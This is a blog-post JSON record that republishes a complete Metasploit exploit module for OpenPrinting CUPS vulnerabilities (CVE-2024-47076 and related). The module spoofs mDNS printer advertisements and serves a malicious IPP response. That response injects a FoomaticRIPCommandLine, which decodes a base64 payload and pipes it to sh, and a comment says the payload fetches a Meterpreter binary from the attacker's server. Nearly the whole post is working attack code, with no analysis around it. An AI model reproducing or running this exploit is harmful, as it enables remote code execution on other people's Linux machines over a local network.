{"id":60443,"date":"2024-11-22T20:41:54","date_gmt":"2024-11-22T17:41:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182767\/cups_ipp_remote_code_execution.rb.txt"},"modified":"2024-11-22T20:41:54","modified_gmt":"2024-11-22T17:41:54","slug":"cups-ipp-attributes-lan-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cups-ipp-attributes-lan-remote-code-execution\/","title":{"rendered":"CUPS IPP Attributes LAN Remote Code Execution"},"content":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = NormalRanking<\/p>\n<p>include Exploit::Remote::DNS::Common<br \/>include Exploit::Remote::SocketServer<br \/>include Msf::Exploit::Remote::HttpServer::HTML<\/p>\n<p># Accessor for IPP HTTP service<br \/>attr_accessor :service2<\/p>\n<p>MULTICAST_ADDR = &#8216;224.0.0.251&#8217;<\/p>\n<p># Define IPP constants<br \/>module TagEnum<br \/>UNSUPPORTED_VALUE = 0x10<\/p>\n<p>UNKNOWN_VALUE = 0x12<br \/>NO_VALUE = 0x13<\/p>\n<p># Integer types<br \/>INTEGER = 0x21<br \/>BOOLEAN = 0x22<br \/>ENUM = 0x23<\/p>\n<p># String types<br \/>OCTET_STR = 0x30<br \/>DATETIME_STR = 0x31<br \/>RESOLUTION = 0x32<br \/>RANGE_OF_INTEGER = 0x33<br \/>TEXT_WITH_LANGUAGE = 0x35<br \/>NAME_WITH_LANGUAGE = 0x36<\/p>\n<p>TEXT_WITHOUT_LANGUAGE = 0x41<br \/>NAME_WITHOUT_LANGUAGE = 0x42<br \/>KEYWORD = 0x44<br \/>URI = 0x45<br \/>URI_SCHEME = 0x46<br \/>CHARSET = 0x47<br \/>NATURAL_LANGUAGE = 0x48<br \/>MIME_MEDIA_TYPE = 0x49<br \/>end<\/p>\n<p># Define IPP printer operations<br \/>module OperationEnum<br \/># https:\/\/tools.ietf.org\/html\/rfc2911#section-4.4.15<br \/>PRINT_JOB = 0x0002<br \/>VALIDATE_JOB = 0x0004<br \/>CANCEL_JOB = 0x0008<br \/>GET_JOB_ATTRIBUTES = 0x0009<br \/>GET_JOBS = 0x000a<br \/>GET_PRINTER_ATTRIBUTES = 0x000b<\/p>\n<p># 0x4000 &#8211; 0xFFFF is for extensions<br \/># CUPS extensions listed here:<br \/># https:\/\/web.archive.org\/web\/20061024184939\/http:\/\/uw714doc.sco.com\/en\/cups\/ipp.html<br \/>CUPS_GET_DEFAULT = 0x4001<br \/>CUPS_LIST_ALL_PRINTERS = 0x4002<br \/>end<\/p>\n<p>module JobStateEnum<br \/># https:\/\/tools.ietf.org\/html\/rfc2911#section-4.3.7<br \/>PENDING = 3 # AKA &#8220;IDLE&#8221;<br \/>PENDING_HELD = 4<br \/>PROCESSING = 5<br \/>PROCESSING_STOPPED = 6<br \/>CANCELED = 7<br \/>ABORTED = 8<br \/>COMPLETED = 9<br \/>end<\/p>\n<p># Define IPP section constants<br \/>module SectionEnum<br \/>SECTIONS = 0x00<br \/>SECTIONS_MASK = 0xf0<br \/>OPERATION = 0x01<br \/>JOB = 0x02<br \/>ENDTAG = 0x03 # Changed from END<br \/>PRINTER = 0x04<br \/>UNSUPPORTED = 0x05<br \/>end<\/p>\n<p>class MulticastComm &lt; Rex::Socket::Comm::Local<br \/># hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)<br \/># without this in place, the module won&#8217;t work on a system with multiple network interfaces<br \/>def self.create_by_type(param, type, proto = 0)<br \/>socket = super<br \/>socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)<br \/>socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)<\/p>\n<p>membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new(&#8216;0.0.0.0&#8217;).hton<br \/>socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)<br \/>socket<br \/>end<\/p>\n<p>end<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;CUPS IPP Attributes LAN Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits vulnerabilities in OpenPrinting CUPS, which is running by<br \/>default on most Linux distributions. The vulnerabilities allow an attacker on<br \/>the LAN to advertise a malicious printer that triggers remote code execution<br \/>when a victim sends a print job to the malicious printer. Successful exploitation<br \/>requires user interaction, but no CUPS services need to be reachable via accessible<br \/>ports. Code execution occurs in the context of the lp user. Affected versions<br \/>are cups-browsed &lt;= 2.0.1, libcupsfilters &lt;= 2.1b1, libppd &lt;= 2.1b1, and<br \/>cups-filters &lt;= 2.0.1.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/># Original researcher<br \/>&#8216;Simone Margaritelli&#8217;,<br \/># Public exploit<br \/>&#8216;Rick de Jager&#8217;,<br \/># IPP server implementation based on Python&#8217;s ipp-server<br \/>&#8216;David Batley&#8217;,<br \/># mDNS functionality<br \/>&#8216;Spencer McIntyre&#8217;,<br \/>&#8216;RageLtMan &lt;rageltman[at]sempervictus&gt;&#8217;,<br \/># Metasploit module<br \/>&#8216;Ryan Emmons&#8217;<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/># The relevant CUPS CVE identifiers<br \/>[&#8216;CVE&#8217;, &#8216;2024-47076&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2024-47175&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2024-47177&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2024-47176&#8217;],<br \/># The initial researcher publication<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.evilsocket.net\/2024\/09\/26\/Attacking-UNIX-systems-via-CUPS-Part-I\/&#8217;],<br \/># The public exploit this module was inspired by<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/RickdeJager\/cupshax&#8217;],<br \/># The cups-browsed GitHub security advisory<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/OpenPrinting\/cups-browsed\/security\/advisories\/GHSA-rj88-6mr5-rcw8&#8217;],<br \/># The libcupsfilters GitHub security advisory<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/OpenPrinting\/libcupsfilters\/security\/advisories\/GHSA-w63j-6g73-wmg5&#8217;],<br \/># The libppd GitHub security advisory<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/OpenPrinting\/libppd\/security\/advisories\/GHSA-7xfx-47qg-grp6&#8217;],<br \/># The cups-filters GitHub security advisory<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/OpenPrinting\/cups-filters\/security\/advisories\/GHSA-p9rh-jxmq-gq47&#8217;],<br \/># The IPP server implementation this module is based on<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/h2g2bob\/ipp-server\/&#8217;]],<br \/># Executes as &#8216;lp&#8217; on most Linux distributions<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [[&#8216;Default&#8217;, {}]],<br \/>&#8216;Platform&#8217; =&gt; %w[linux unix],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;FETCH_COMMAND&#8217; =&gt; &#8216;WGET&#8217;,<br \/>&#8216;FETCH_WRITABLE_DIR&#8217; =&gt; &#8216;\/var\/tmp&#8217;<br \/>},<br \/>&#8216;Stance&#8217; =&gt; Msf::Exploit::Stance::Passive,<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;Service&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-09-26&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/># There&#8217;s a small chance the fake printer may flag as &#8220;broken&#8221; after one execution<br \/># If this happens, other victims on the LAN will still be susceptible to code execution<br \/># However, this *shouldn&#8217;t* happen :)<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/># Requires a user to send a print job to the malicious printer to trigger RCE<br \/>&#8216;Reliability&#8217; =&gt; [EVENT_DEPENDENT],<br \/>&#8216;SideEffects&#8217; =&gt; [<br \/># \/var\/log\/cups\/error_log will likely contain the payload, IPP server details, and printer name<br \/># \/var\/log\/cups\/access_log will contain the IPP server details and printer name<br \/>IOC_IN_LOGS,<br \/># The \/tmp directory will likely contain a file called &#8220;foomatic-&#8221; + five random characters<br \/># This file is a PDF owned by &#8216;lp&#8217;, and it&#8217;s the content that the victim user tried to print<br \/>ARTIFACTS_ON_DISK<br \/>]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;PrinterName&#8217;, [true, &#8216;The printer name&#8217;, &#8216;PrintToPDF&#8217;], regex: \/^[a-zA-Z0-9_ ]+$\/),<br \/>OptAddress.new(&#8216;SRVHOST&#8217;, [true, &#8216;The local host to listen on (cannot be 0.0.0.0)&#8217;]),<br \/>OptPort.new(&#8216;SRVPORT&#8217;, [true, &#8216;The local port for the IPP service&#8217;, 7575])<br \/>])<br \/>end<\/p>\n<p>def validate<br \/>super<\/p>\n<p>if Rex::Socket.is_ip_addr?(datastore[&#8216;SRVHOST&#8217;]) &amp;&amp; Rex::Socket.addr_atoi(datastore[&#8216;SRVHOST&#8217;]) == 0<br \/>raise Msf::OptionValidateError.new({ &#8216;SRVHOST&#8217; =&gt; &#8216;The SRVHOST option must be set to a routable IP address.&#8217; })<br \/>end<\/p>\n<p># Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that&#8217;s configured<br \/>unless _determine_server_comm(datastore[&#8216;SRVHOST&#8217;]) == Rex::Socket::Comm::Local<br \/>raise Msf::OptionValidateError.new({ &#8216;SRVHOST&#8217; =&gt; &#8216;SRVHOST can not be forwarded via a session.&#8217; })<br \/>end<br \/>end<\/p>\n<p>#<br \/># Wrapper for service execution and cleanup<br \/>#<br \/>def exploit<br \/>@printer_uuid = SecureRandom.uuid<br \/>start_mdns_service<br \/>start_ipp_service<br \/>print_status(&#8220;Services started. Printer &#8216;#{datastore[&#8216;PrinterName&#8217;]}&#8217; is being advertised&#8221;)<br \/>service.wait<br \/>rescue Rex::BindFailed =&gt; e<br \/>print_error &#8220;Failed to bind to port: #{e.message}&#8221;<br \/>end<\/p>\n<p># mDNS code below<br \/>def start_mdns_service<br \/>self.service = Rex::ServiceManager.start(<br \/>Rex::Proto::MDNS::Server,<br \/>&#8216;0.0.0.0&#8217;,<br \/>5353,<br \/>false,<br \/>nil,<br \/>MulticastComm,<br \/>{ &#8216;Msf&#8217; =&gt; framework, &#8216;MsfExploit&#8217; =&gt; self }<br \/>)<\/p>\n<p>service.dispatch_request_proc = proc do |cli, data|<br \/>on_dispatch_mdns_request(cli, data)<br \/>end<br \/>service.send_response_proc = proc do |cli, data|<br \/>on_send_mdns_response(cli, data)<br \/>end<br \/>rescue ::Errno::EACCES =&gt; e<br \/>raise Rex::BindFailed, e.message<br \/>end<\/p>\n<p>def create_ipp_response(version_major, version_minor, request_id)<br \/># Printer attributes<br \/>attributes = {}<\/p>\n<p># Creating an MVP (&#8220;Minimum Viable Printer&#8221;)<\/p>\n<p># charset<br \/>attributes[[SectionEnum::PRINTER, &#8216;attributes-configured&#8217;, TagEnum::CHARSET]] = [&#8216;utf-8&#8217;]\n<p># charset<br \/>attributes[[SectionEnum::PRINTER, &#8216;attributes-supported&#8217;, TagEnum::CHARSET]] = [&#8216;utf-8&#8217;]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;compression-supported&#8217;, TagEnum::KEYWORD]] = [&#8216;none&#8217;]\n<p># mimeMediaType<br \/>attributes[[SectionEnum::PRINTER, &#8216;document-format-default&#8217;, TagEnum::MIME_MEDIA_TYPE]] = [&#8216;application\/pdf&#8217;]\n<p># mimeMediaType<br \/>attributes[[SectionEnum::PRINTER, &#8216;document-format-supported&#8217;, TagEnum::MIME_MEDIA_TYPE]] = [&#8216;application\/pdf&#8217;]\n<p># naturalLanguage<br \/>attributes[[SectionEnum::PRINTER, &#8216;generated-natural-language-supported&#8217;, TagEnum::NATURAL_LANGUAGE]] = [&#8216;en&#8217;]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;ipp-versions-supported&#8217;, TagEnum::KEYWORD]] = [&#8216;1.1&#8217;]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;media-default&#8217;, TagEnum::KEYWORD]] = [&#8216;iso_a4_210x297mm&#8217;]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;media-supported&#8217;, TagEnum::KEYWORD]] = [&#8216;iso_a4_210x297mm&#8217;]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;media-type&#8217;, TagEnum::KEYWORD]] = [&#8216;stationery&#8217;]\n<p>enc_payload = Rex::Text.encode_base64(payload.encoded)<\/p>\n<p># 1setOf keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;media-type-supported&#8217;, TagEnum::KEYWORD]] = [<br \/>&#8216;stationery&#8217;,<br \/># Here&#8217;s our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server<br \/>&#8220;: HAX\\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\\n*cupsFilter2: \\&#8221;application\/vnd.cups-pdf application\/pdf 0 foomatic-rip\\&#8221;\\n*%&#8221;<br \/>]\n<p># naturalLanguage<br \/>attributes[[SectionEnum::PRINTER, &#8216;natural-language-configured&#8217;, TagEnum::NATURAL_LANGUAGE]] = [&#8216;en&#8217;]\n<p># 1setOf enum<br \/>attributes[[SectionEnum::PRINTER, &#8216;document-format-supported&#8217;, TagEnum::ENUM]] = [<br \/>OperationEnum::PRINT_JOB,<br \/>OperationEnum::VALIDATE_JOB,<br \/>OperationEnum::CANCEL_JOB,<br \/>OperationEnum::GET_JOB_ATTRIBUTES,<br \/>OperationEnum::GET_PRINTER_ATTRIBUTES<br \/>]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;pdl-override-supported&#8217;, TagEnum::KEYWORD]] = [&#8216;not-attempted&#8217;]\n<p># textWithoutLanguage<br \/>attributes[[SectionEnum::PRINTER, &#8216;printer-info&#8217;, TagEnum::TEXT_WITHOUT_LANGUAGE]] = [&#8216;Printer&#8217;]\n<p># textWithoutLanguage<br \/>attributes[[SectionEnum::PRINTER, &#8216;printer-make-and-model&#8217;, TagEnum::TEXT_WITHOUT_LANGUAGE]] = [&#8216;Printer 1.00&#8217;]\n<p># nameWithoutLanguage<br \/>attributes[[SectionEnum::PRINTER, &#8216;printer-name&#8217;, TagEnum::NAME_WITHOUT_LANGUAGE]] = [&#8216;Printer&#8217;]\n<p># enum<br \/>attributes[[SectionEnum::PRINTER, &#8216;printer-state&#8217;, TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE<\/p>\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;printer-state-reasons&#8217;, TagEnum::KEYWORD]] = [&#8216;none&#8217;]\n<p># integer<br \/>attributes[[SectionEnum::PRINTER, &#8216;pdl-override-supported&#8217;, TagEnum::INTEGER]] = [Time.now.to_i]\n<p># uri<br \/>attributes[[SectionEnum::PRINTER, &#8216;printer-uri-supported&#8217;, TagEnum::URI]] = [&#8216;ipp:\/\/localhost:631\/printer&#8217;]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;uri-authentication-supported&#8217;, TagEnum::KEYWORD]] = [&#8216;none&#8217;]\n<p># keyword<br \/>attributes[[SectionEnum::PRINTER, &#8216;uri-security-supported&#8217;, TagEnum::KEYWORD]] = [&#8216;none&#8217;]\n<p># Create response, imitating ipp-server&#8217;s &#8216;to_file&#8217; function<\/p>\n<p># Pack the version<br \/>response = [version_major, version_minor].pack(&#8216;C*&#8217;)<\/p>\n<p># Pack the 2-byte status code<br \/>response &lt;&lt; [0x0000].pack(&#8216;n&#8217;)<\/p>\n<p># Pack the 4-byte request ID<br \/>response &lt;&lt; [request_id].pack(&#8216;N&#8217;)<\/p>\n<p># Group the above defined attributes by section (we use the PRINTER section for the payload)<br \/>attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section|<br \/>response &lt;&lt; [section].pack(&#8216;C&#8217;)<\/p>\n<p>attrs_in_section.each do |key, values|<br \/>_section, name, tag = key<br \/>values.each_with_index do |value, i|<br \/>response &lt;&lt; [tag].pack(&#8216;C&#8217;)<br \/>if i == 0<br \/>response &lt;&lt; [name.length].pack(&#8216;n&#8217;)<br \/>response &lt;&lt; name<br \/>else<br \/>response &lt;&lt; [0].pack(&#8216;n&#8217;)<br \/>end<\/p>\n<p># Make sure non-string values work by packing as four bytes (should work for all ints)<br \/>if value.is_a?(Integer)<br \/>response &lt;&lt; [4].pack(&#8216;n&#8217;)<br \/>response &lt;&lt; [value].pack(&#8216;N&#8217;)<br \/>else<br \/># Packing strings<br \/>response &lt;&lt; [value.length].pack(&#8216;n&#8217;)<br \/>response &lt;&lt; value<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n<p># Close out attributes with an ENDTAG<br \/>response &lt;&lt; [SectionEnum::ENDTAG].pack(&#8216;C&#8217;)<\/p>\n<p>response<br \/>end<\/p>\n<p>#<br \/># IPP servers communicate using a binary protocol via HTTP<br \/>#<br \/>def start_ipp_service<br \/># Start the IPP web service<br \/>self.service2 = Rex::ServiceManager.start(<br \/>Rex::Proto::Http::Server,<br \/>srvport,<br \/>srvhost,<br \/>false,<br \/>{ &#8216;Msf&#8217; =&gt; framework, &#8216;MsfExploit&#8217; =&gt; self },<br \/>Rex::Socket::Comm::Local<br \/>)<\/p>\n<p># Register a route for queries to the printer<br \/>service2.add_resource(&#8216;\/ipp\/print&#8217;,<br \/>&#8216;Proc&#8217; =&gt; proc do |cli, req|<br \/>case req.method<br \/># Some printers perform an initial GET request before the exploitable POST request<br \/># We serve up agreeable placeholder data for that initial request<br \/>when &#8216;GET&#8217;<br \/># Send HTTP response data<br \/>ppd_content = ppd_out<br \/>send_response(cli, ppd_content,<br \/>&#8216;Content-Type&#8217; =&gt; &#8216;application\/postscript&#8217;)<\/p>\n<p># When the victim system interacts with our printer, a POST request will be received<br \/>when &#8216;POST&#8217;<br \/># When VERBOSE is true, all request bytes will be printed<br \/>vprint_status(&#8220;Received IPP request: #{req.body.bytes.map do |b|<br \/>format(&#8216;%02x&#8217;, b)<br \/>end.join(&#8216; &#8216;)}&#8221;)<br \/>data = req.body.bytes<br \/>return if data.length &lt; 8<\/p>\n<p># Extract version, operation, and request ID from the request to print in VERBOSE mode<br \/>version_major = data[0]version_minor = data[1]operation_id = (data[2] &lt;&lt; 8) | data[3]request_id = (data[4] &lt;&lt; 24) | (data[5] &lt;&lt; 16) | (data[6] &lt;&lt; 8) | data[7]\n<p>vprint_status(&#8220;IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}&#8221;)<\/p>\n<p># Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload<br \/>response = create_ipp_response(version_major, version_minor, request_id)<\/p>\n<p>send_response(cli, response,<br \/>&#8216;Content-Type&#8217; =&gt; &#8216;application\/ipp&#8217;,<br \/>&#8216;Content-Length&#8217; =&gt; response.length.to_s)<br \/>end<br \/>rescue StandardError =&gt; e<br \/>vprint_error(&#8216;An error occurred while processing an IPP request&#8217;)<br \/>vprint_error(&#8220;IPP Error is #{e.class} &#8211; #{e.message}&#8221;)<br \/>vprint_error(e.backtrace.join(&#8220;\\n&#8221;).to_s)<br \/>raise e<br \/>end,<br \/>&#8216;Path&#8217; =&gt; &#8216;\/ipp\/print&#8217;)<\/p>\n<p>print_status(&#8220;IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}&#8221;)<br \/>rescue Rex::BindFailed =&gt; e<br \/>vprint_error(&#8220;Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}&#8221;)<br \/>raise e<br \/>end<\/p>\n<p>#<br \/># Printer info for victim systems that require an initial GET request.<br \/>#<br \/>def ppd_out<br \/>&lt;&lt;~PPD<br \/>*PPD-Adobe: &#8220;4.3&#8221;<br \/>*FormatVersion: &#8220;4.3&#8221;<br \/>*FileVersion: &#8220;1.0&#8221;<br \/>*LanguageVersion: English<br \/>*LanguageEncoding: ISOLatin1<br \/>*PCFileName: &#8220;#{datastore[&#8216;PrinterName&#8217;]}.PPD&#8221;<br \/>*Manufacturer: &#8220;#{datastore[&#8216;PrinterName&#8217;]}&#8221;<br \/>*Product: &#8220;(#{datastore[&#8216;PrinterName&#8217;]})&#8221;<br \/>*ModelName: &#8220;#{datastore[&#8216;PrinterName&#8217;]}&#8221;<br \/>*ShortNickName: &#8220;#{datastore[&#8216;PrinterName&#8217;]}&#8221;<br \/>*NickName: &#8220;#{datastore[&#8216;PrinterName&#8217;]}&#8221;<br \/>*PSVersion: &#8220;(3010.000) 0&#8221;<br \/>*LanguageLevel: &#8220;3&#8221;<br \/>*ColorDevice: True<br \/>*DefaultColorSpace: RGB<br \/>*FileSystem: False<br \/>*Throughput: &#8220;1&#8221;<br \/>*LandscapeOrientation: Plus90<br \/>*TTRasterizer: Type42<br \/>*cupsVersion: 1.4<br \/>*cupsModelNumber: 1<br \/>*cupsManualCopies: True<br \/>*cupsFilter: &#8220;application\/vnd.cups-postscript 0 -&#8220;<br \/>*cupsFilter: &#8220;application\/vnd.cups-pdf 0 -&#8220;<br \/>*OpenUI *PageSize\/Media Size: PickOne<br \/>*DefaultPageSize: Letter<br \/>*PageSize Letter: &#8220;&lt;&lt;\/PageSize[612 792]\/ImagingBBox null&gt;&gt;setpagedevice&#8221;<br \/>*CloseUI: *PageSize<br \/>*DefaultImageableArea: Letter<br \/>*ImageableArea Letter: &#8220;0 0 612 792&#8221;<br \/>*DefaultPaperDimension: Letter<br \/>*PaperDimension Letter: &#8220;612 792&#8221;<br \/>PPD<br \/>end<\/p>\n<p>#<br \/># Creates Proc to handle incoming requests<br \/>#<br \/>def on_dispatch_mdns_request(cli, data)<br \/># Handle empty mDNS data<br \/>return if data.strip.empty?<\/p>\n<p># Encode the incoming packet as a Dnsruby message<br \/>req = Packet.encode_drb(data)<\/p>\n<p># Ignore responses<br \/>return if req.header.qr<\/p>\n<p># Print the incoming request in VERBOSE mode (will produce a lot of output)<br \/>peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)<br \/>asked = req.question.map(&amp;:qname).map(&amp;:to_s).join(&#8216;, &#8216;)<br \/>vprint_status(&#8220;Received request for #{asked} from #{peer}&#8221;)<\/p>\n<p># Assign printer name variables for mDNS responses<br \/>printer_name = datastore[&#8216;PrinterName&#8217;]printer_name_no_space = printer_name.gsub(\/ \/, &#8221;)<br \/>ipp_printer_name = &#8220;#{printer_name_no_space}._ipp._tcp.local&#8221;<\/p>\n<p># A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries<br \/># However, that requires the victim to search for new printers, which doesn&#8217;t happen on most systems during a print dialog (it requires Settings-&gt;Printers-&gt;&#8221;Add Printer&#8221; on Ubuntu)<br \/># Also, different distributions seem to have different flows for that, which made the approach unreliable<br \/># So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim&#8217;s printer list with our malicious printer<br \/>return unless req.question.first<\/p>\n<p># PTR record<br \/>req.add_answer(Dnsruby::RR.create(<br \/>name: &#8216;_ipp._tcp.local.&#8217;,<br \/>type: &#8216;PTR&#8217;,<br \/># Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation<br \/># Since we&#8217;re spraying advertisements in response to everything, low TTL shouldn&#8217;t be an issue<br \/>ttl: 30,<br \/>domainname: &#8220;#{ipp_printer_name}.&#8221;<br \/>))<br \/># A record for our printer<br \/># All of these answers seem to need to be additional record answers, not just answers<br \/>req.add_additional(Dnsruby::RR.create(<br \/>name: &#8220;#{printer_name_no_space}.local.&#8221;,<br \/>type: &#8216;A&#8217;,<br \/>ttl: 30,<br \/># The IP address of our malicious HTTP IPP service<br \/>address: datastore[&#8216;SRVHOST&#8217;]))<\/p>\n<p># SRV record<br \/>req.add_additional(Dnsruby::RR.create(<br \/>name: &#8220;#{ipp_printer_name}.&#8221;,<br \/>type: &#8216;SRV&#8217;,<br \/>ttl: 30,<br \/>priority: 0,<br \/>weight: 0,<br \/># The port of our malicious HTTP IPP service<br \/>port: datastore[&#8216;SRVPORT&#8217;],<br \/>target: &#8220;#{printer_name_no_space}.local.&#8221;<br \/>))<\/p>\n<p># TXT record<br \/>req.add_additional(Dnsruby::RR.create(<br \/>name: &#8220;#{ipp_printer_name}.&#8221;,<br \/>type: &#8216;TXT&#8217;,<br \/>ttl: 30<br \/>).tap do |rr|<br \/>rr.strings = [<br \/>&#8216;txtvers=1&#8217;,<br \/>&#8216;qtotal=1&#8217;,<br \/>&#8216;rp=ipp\/print&#8217;,<br \/>&#8220;ty=#{printer_name}&#8221;,<br \/>&#8216;pdl=application\/postscript,application\/pdf&#8217;,<br \/># The &#8220;adminurl&#8221; value may or may not be queried, depending on the victim type<br \/># Points to our malicious HTTP IPP service<br \/>&#8220;adminurl=http:\/\/#{Rex::Socket.to_authority(srvhost, srvport)}&#8221;,<br \/>&#8216;priority=0&#8217;,<br \/>&#8216;color=T&#8217;,<br \/>&#8216;duplex=T&#8217;,<br \/># Unique UUID to avoid printer collision from multiple runs with the same configuration<br \/>&#8220;UUID=#{@printer_uuid}&#8221;<br \/>]end)<\/p>\n<p># NSEC record, seems to be required, should be additional answer type<br \/>req.add_additional(Dnsruby::RR.create(<br \/>name: &#8220;#{ipp_printer_name}.&#8221;,<br \/>type: &#8216;NSEC&#8217;,<br \/>ttl: 30,<br \/>next_domain: &#8220;#{ipp_printer_name}.&#8221;,<br \/>types: &#8216;AAAA&#8217;<br \/>))<\/p>\n<p># Indicate our mDNS message is a query response<br \/>req.header.qr = 1<br \/># In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one<br \/># https:\/\/datatracker.ietf.org\/doc\/html\/rfc6762<br \/>req.header.aa = 1<\/p>\n<p># Clear questions and update counts for our response<br \/>req.question.clear<br \/>req.update_counts<\/p>\n<p># Encode and send response<br \/>response_data = Packet.generate_response(req).encode<\/p>\n<p>service.send_response(cli, response_data)<br \/>end<\/p>\n<p>#<br \/># Creates Proc to handle outbound responses<br \/>#<br \/>def on_send_mdns_response(cli, data)<br \/># Log to console in VERBOSE mode, then write response<br \/>vprint_status(&#8220;Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}&#8221;)<br \/>cli.write(data)<br \/>end<\/p>\n<p>def cleanup<br \/>super<\/p>\n<p>if service2<br \/># Remove the IPP resource before stopping the HTTP service<br \/>service2.remove_resource(&#8216;\/ipp\/print&#8217;)<br \/>service2.stop<br \/>self.service2 = nil<br \/>end<\/p>\n<p>return unless service<\/p>\n<p># Stop the mDNS service<br \/>service.stop<br \/>self.service = nil<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::RemoteRank = NormalRanking include Exploit::Remote::DNS::Commoninclude Exploit::Remote::SocketServerinclude Msf::Exploit::Remote::HttpServer::HTML # Accessor for IPP HTTP serviceattr_accessor :service2 MULTICAST_ADDR = &#8216;224.0.0.251&#8217; # Define IPP constantsmodule TagEnumUNSUPPORTED_VALUE = 0x10 UNKNOWN_VALUE = 0x12NO_VALUE = 0x13 # Integer typesINTEGER = 0x21BOOLEAN = 0x22ENUM = 0x23 # String typesOCTET_STR = 0x30DATETIME_STR = 0x31RESOLUTION = 0x32RANGE_OF_INTEGER = 0x33TEXT_WITH_LANGUAGE = 0x35NAME_WITH_LANGUAGE = &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60443","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60443","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60443"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60443\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60443"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60443"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60443"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}